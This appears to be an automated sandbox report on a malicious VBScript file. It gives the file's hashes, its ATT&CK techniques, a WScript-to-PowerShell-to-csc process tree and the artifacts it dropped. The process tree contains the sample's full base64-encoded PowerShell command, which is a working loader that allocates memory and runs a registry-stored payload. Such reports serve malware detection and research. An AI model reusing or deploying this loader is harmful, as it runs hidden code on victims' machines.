ca51d108260a5dfd9ae4c02d3302ae91ebdfdad91ab75b4228371ace04290abf

General

Target

Hvilested.vbs
Size

135KB
MD5

36b1f36ea9b9752a8af52202daeebfd3
SHA1

a3e4e48fe2c1897930dce07e758e1e590a00d2ad
SHA256

8b4d69556cd93e5b27c7fdc3a7e765fcb6f45ebd8451ee4e9fa9a515aac6811d
SHA512

d3172ec500241d744319495b585d558ffd625f767f333d1751b1fa6fa25401db8253bd97892a91e994cffbad0df1925f0f6abdb7bb61fff0b1b2cd6ed59da466
SSDEEP

1536:TjeOZx8kZRMuKPheRTHNo2rNo8EgnxTwBII9zLKFisRxcyeC2X2qCLmob8OVPeVv:TKwtAWTBRnxTbvcoU0L78OVGvUc

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

WScript.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation WScript.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

1944 powershell.exe
1944 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1944 powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	WScript.exe

pid	process
1944	powershell.exe
1944	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1944	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

Processes:

WScript.exepowershell.execsc.exe

description	pid	process	target process
PID 3048 wrote to memory of 1944	3048	WScript.exe	powershell.exe
PID 3048 wrote to memory of 1944	3048	WScript.exe	powershell.exe
PID 3048 wrote to memory of 1944	3048	WScript.exe	powershell.exe
PID 1944 wrote to memory of 5000	1944	powershell.exe	csc.exe
PID 1944 wrote to memory of 5000	1944	powershell.exe	csc.exe
PID 1944 wrote to memory of 5000	1944	powershell.exe	csc.exe
PID 5000 wrote to memory of 3108	5000	csc.exe	cvtres.exe
PID 5000 wrote to memory of 3108	5000	csc.exe	cvtres.exe
PID 5000 wrote to memory of 3108	5000	csc.exe	cvtres.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Hvilested.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3048

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBCAEUARwBJAFYAIABBAGYAcwBhAGEAYgBsAGEAbgBrADkAIABrAG8AbgBuAGUAawBzAGkAIABSAEUARQBWAE8ASwBFAFMAUwBIACAAUwBLAFUATQAgAHMAcABvAG8AbgBoACAAYgByAGQAcgAgAGEAbgB0AGkAZgBvAHIAZQBpACAARgBpAGoAaQA2ACAAbwB1AHQAYwBoAGEAcgBtACAAcQB1AGEAcgB0AGUAcgAgAEYAZQByAHQAaQAgAEoAbwByAGQAcwBwAGUAawAyACAAQgByAG8AbgB6AGkANgAgAEQAQQBUAEEAQgAgAA0ACgBBAGQAZAAtAFQAeQBwAGUAIAAtAFQAeQBwAGUARABlAGYAaQBuAGkAdABpAG8AbgAgAEAAIgANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0AOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMAOwANAAoAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGMAbABhAHMAcwAgAE4ATwBOAFMAQQBOAEcAVQBJAE4AMQANAAoAewANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAdQBzAGUAcgAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAYQBsAGwAVwBpAG4AZABvAHcAUAByAG8AYwBXACgAdQBpAG4AdAAgAHAAbwBtAG0AZQByAHAAZQBsAG8ANQAsAGkAbgB0ACAAcABvAG0AbQBlAHIAcABlAGwAbwA2ACwAaQBuAHQAIABwAG8AbQBtAGUAcgBwAGUAbABvADcALABpAG4AdAAgAHAAbwBtAG0AZQByAHAAZQBsAG8AOAAsAGkAbgB0ACAAcABvAG0AbQBlAHIAcABlAGwAbwA5ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAdQBzAGUAcgAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAFMAbABlAGUAcAAoAHUAaQBuAHQAIABOAE8ATgBTAEEATgBHAFUASQBOADAALABpAG4AdAAgAE4ATwBOAFMAQQBOAEcAVQBJAE4AMQAsAGkAbgB0ACAATgBPAE4AUwBBAE4ARwBVAEkATgAyACwAaQBuAHQAIABOAE8ATgBTAEEATgBHAFUASQBOADMALABpAG4AdAAgAE4ATwBOAFMAQQBOAEcAVQBJAE4ANAApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAHYAbwBpAGQAIABSAHQAbABNAG8AdgBlAE0AZQBtAG8AcgB5ACgASQBuAHQAUAB0AHIAIABwAG8AbQBtAGUAcgBwAGUAbABvADEALAByAGUAZgAgAEkAbgB0ADMAMgAgAHAAbwBtAG0AZQByAHAAZQBsAG8AMgAsAGkAbgB0ACAAcABvAG0AbQBlAHIAcABlAGwAbwAzACkAOwAJAA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBuAHQAZABsAGwALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAFoAdwBBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAGkAbgB0ACAATgBPAE4AUwBBAE4ARwBVAEkATgA2ACwAcgBlAGYAIABJAG4AdAAzADIAIABGAHIAcwB0AGUAbQBhAG4AZABzACwAaQBuAHQAIABwAG8AbQBtAGUAcgBwAGUAbABvACwAcgBlAGYAIABJAG4AdAAzADIAIABOAE8ATgBTAEEATgBHAFUASQBOACwAaQBuAHQAIABQAGUAcgBzADEALABpAG4AdAAgAE4ATwBOAFMAQQBOAEcAVQBJAE4ANwApADsADQAKAA0ACgB9AA0ACgAiAEAADQAKACMAZgBsAG8AcwBrAHUAbAAgAHAAYQBjAGUAbQAgAFMAdAByAGsAYgA0ACAARABFAEYAQQBDACAAUwB1AHAAcgBhADUAIABkAGUAbgBvAHQAYQB0AGkAIAB0AHYAYQBuAGcAcwBmAGoAZQAgAEUAcgBpAGMAYQBzAHAAbwAgAHMAbgBlAGIAcgBzACAAVQBkAHMAawB5AGQAbgBpAG4AZwA1ACAAUgBlAGEAcwBvACAAQQBsAGIAaQBuAGkAcwBtADEAIABpAG4AZgBhAGwAbABpAGIAIABDAGgAYQBtAHAAYQBnAG4AZQAgAFIAdQBzAHMAZQByACAAUwBFAE4ATgBJAEcASABUAFMAIABHAGEAbABsAGkAYwBtAGUAdAA1ACAARAB2AHIAZwBwAGkAbABlADUAIAB2AGkAbgBkAHIAdQBlACAATQBhAGcAaQBzAHQAIABuAG8AbgByACAAcgBpAGEAbABpAG4AZAAgAFMAVABVAE4ATgBJAE4ARwAgAEwAYQBhAG4AZQBmAG8AbgBkAGUAIABGAE8AUwBUAEUAUgBIAE8ATwAgAFYASQBPAEwAQQBTAFQAQQBOAEUAIAAgAA0ACgAkAE4ATwBOAFMAQQBOAEcAVQBJAE4AMwA9ADAAOwANAAoAJABOAE8ATgBTAEEATgBHAFUASQBOADkAPQAxADAANAA4ADUANwA2ADsADQAKACQATgBPAE4AUwBBAE4ARwBVAEkATgA4AD0AWwBOAE8ATgBTAEEATgBHAFUASQBOADEAXQA6ADoAWgB3AEEAbABsAG8AYwBhAHQAZQBWAGkAcgB0AHUAYQBsAE0AZQBtAG8AcgB5ACgALQAxACwAWwByAGUAZgBdACQATgBPAE4AUwBBAE4ARwBVAEkATgAzACwAMAAsAFsAcgBlAGYAXQAkAE4ATwBOAFMAQQBOAEcAVQBJAE4AOQAsADEAMgAyADgAOAAsADYANAApAA0ACgAkAEEAZgBnAHIAZgB0AGUAZABlAG4ANAA9ACgARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACIASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwARgBPAFIASwAiACkALgBOAFUAQwBMAEUAQQBUAA0ACgANAAoAJABTAFYAVQBMAE0AIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEIAeQB0AGUAWwBdAF0AOgA6AEMAcgBlAGEAdABlAEkAbgBzAHQAYQBuAGMAZQAoAFsAUwB5AHMAdABlAG0ALgBCAHkAdABlAF0ALAAkAEEAZgBnAHIAZgB0AGUAZABlAG4ANAAuAEwAZQBuAGcAdABoACAALwAgADIAKQANAAoADQAKAA0ACgANAAoARgBvAHIAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAQQBmAGcAcgBmAHQAZQBkAGUAbgA0AC4ATABlAG4AZwB0AGgAOwAgACQAaQArAD0AMgApAA0ACgAJAHsADQAKACAAIAAgACAAIAAgACAAIAAkAFMAVgBVAEwATQBbACQAaQAvADIAXQAgAD0AIABbAGMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAeQB0AGUAKAAkAEEAZgBnAHIAZgB0AGUAZABlAG4ANAAuAFMAdQBiAHMAdAByAGkAbgBnACgAJABpACwAIAAyACkALAAgADEANgApAA0ACgAgACAAIAAgAH0ADQAKAA0ACgANAAoAZgBvAHIAKAAkAFQAZQBsAGUAcwBrAHIAaQA9ADAAOwAgACQAVABlAGwAZQBzAGsAcgBpACAALQBsAHQAIAAkAFMAVgBVAEwATQAuAGMAbwB1AG4AdAAgADsAIAAkAFQAZQBsAGUAcwBrAHIAaQArACsAKQANAAoAewANAAoACQANAAoAWwBOAE8ATgBTAEEATgBHAFUASQBOADEAXQA6ADoAUgB0AGwATQBvAHYAZQBNAGUAbQBvAHIAeQAoACQATgBPAE4AUwBBAE4ARwBVAEkATgAzACsAJABUAGUAbABlAHMAawByAGkALABbAHIAZQBmAF0AJABTAFYAVQBMAE0AWwAkAFQAZQBsAGUAcwBrAHIAaQBdACwAMQApAA0ACgANAAoAfQANAAoAWwBOAE8ATgBTAEEATgBHAFUASQBOADEAXQA6ADoAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKAAkAE4ATwBOAFMAQQBOAEcAVQBJAE4AMwAsACAAMAAsADAALAAwACwAMAApAA0ACgANAAoADQAKAA=="
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1944

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\3il0f5re\3il0f5re.cmdline"
3⤵
- Suspicious use of WriteProcessMemory
PID:5000

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4AC0.tmp" "c:\Users\Admin\AppData\Local\Temp\3il0f5re\CSC704202B644A545E7B5DFF46974B45017.TMP"
4⤵
PID:3108

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\3il0f5re\3il0f5re.dll

Filesize
3KB

MD5
6dcf2f0906109a34b9c5a544cad81769

SHA1
5a7bf0948d889d04ebfff24b08739d99d2b4bca8

SHA256
b451aa863ebab25359aaadf90e85b35162eafbf1e0d82ee479cdc503f9edbd26

SHA512
cde6534b7235c97a8832ab428e3800f470a657cbaa87d1bca6dc17cb01b398673a4a7b437e8d767bf04423e8c5ef142fa0a6d3852258ddf21a0f9e715a3aa1a4

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES4AC0.tmp

Filesize
1KB

MD5
d856be58d006567d3ed509ee110bf839

SHA1
e31e781ff878b840bb3d9ec6c336d423ac3f9958

SHA256
7b2bc5e4e3790ffce9cab0bf8165c05a29afabfebeabc08c6ac5e8ab93783ddb

SHA512
01ef2dfc3025fb3fc790d4f25a2e72459d09c1e657367795e16b995b8383bfdc14068747c2637e6ee1d45fbe72a651690f98277ec36bfc86fd01f77126de926f

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\3il0f5re\3il0f5re.0.cs

Filesize
695B

MD5
064a6660e679021cfee85dc594d08ce8

SHA1
7c10b7ef48bbb535100943dc90b6aeeaa59e428a

SHA256
6ff92c6c4cb841339ce2b5ca496dcafb35f345eca6d401abf3c081bf5f74757b

SHA512
152654d72902a5d50469d57ec4fb80a2494f402665956503c7864d52ac140300ff01e66ffe653db9bfe7955377875f25e9d90c4809c5c188002ad08685764162

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\3il0f5re\3il0f5re.cmdline

Filesize
369B

MD5
de1724783623c45131fa70916540dc89

SHA1
197dfc8c875f2065afa3bdbbe926bec5250044b9

SHA256
b1cff697ef2c0da25127905f701d8eb40f1af012bbf381984638748eb41f964e

SHA512
df514781bf57b60cc6e595fecdf2d174cc8b9b4ce0a33cda993db03a20813a6e03d9266d544670d1391a943dd0ecaaa07540893e072d4bb6d37065add504ca9c

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\3il0f5re\CSC704202B644A545E7B5DFF46974B45017.TMP

Filesize
652B

MD5
ec9372ae2716257720381a9aba1c1bdf

SHA1
b8eb351ae48be2062dfa5728ad75f91cc0f9e143

SHA256
ea60622553a15a42c58a1a2019cb587727a9abd6c1309d5214e2ec8b4a8a623d

SHA512
f1cb3d17b12f7bd67d1251d06b8fa5b3ee3eb5f18c3bb93edb2fac0fda67e1db40a1ab86156521974112bc604ae0af1948e1a0f27b07102cfb4b12b35bcaa722

Download Submit
memory/1944-148-0x0000000007A90000-0x0000000007B26000-memory.dmp

Filesize
600KB

Download
memory/1944-135-0x00000000056D0000-0x00000000056F2000-memory.dmp

Filesize
136KB

Download
memory/1944-139-0x0000000007F70000-0x00000000085EA000-memory.dmp

Filesize
6.5MB

Download
memory/1944-140-0x0000000006C30000-0x0000000006C4A000-memory.dmp

Filesize
104KB

Download
memory/1944-137-0x0000000005FF0000-0x0000000006056000-memory.dmp

Filesize
408KB

Download
memory/1944-132-0x0000000000000000-mapping.dmp

Download
memory/1944-138-0x0000000006680000-0x000000000669E000-memory.dmp

Filesize
120KB

Download
memory/1944-152-0x00000000078F0000-0x0000000007F6A000-memory.dmp

Filesize
6.5MB

Download
memory/1944-151-0x00000000078F0000-0x0000000007F6A000-memory.dmp

Filesize
6.5MB

Download
memory/1944-134-0x0000000005730000-0x0000000005D58000-memory.dmp

Filesize
6.2MB

Download
memory/1944-133-0x00000000050A0000-0x00000000050D6000-memory.dmp

Filesize
216KB

Download
memory/1944-136-0x0000000005ED0000-0x0000000005F36000-memory.dmp

Filesize
408KB

Download
memory/1944-149-0x0000000007A20000-0x0000000007A42000-memory.dmp

Filesize
136KB

Download
memory/1944-150-0x0000000008BA0000-0x0000000009144000-memory.dmp

Filesize
5.6MB

Download
memory/3108-144-0x0000000000000000-mapping.dmp

Download
memory/5000-141-0x0000000000000000-mapping.dmp

Download

Analysis

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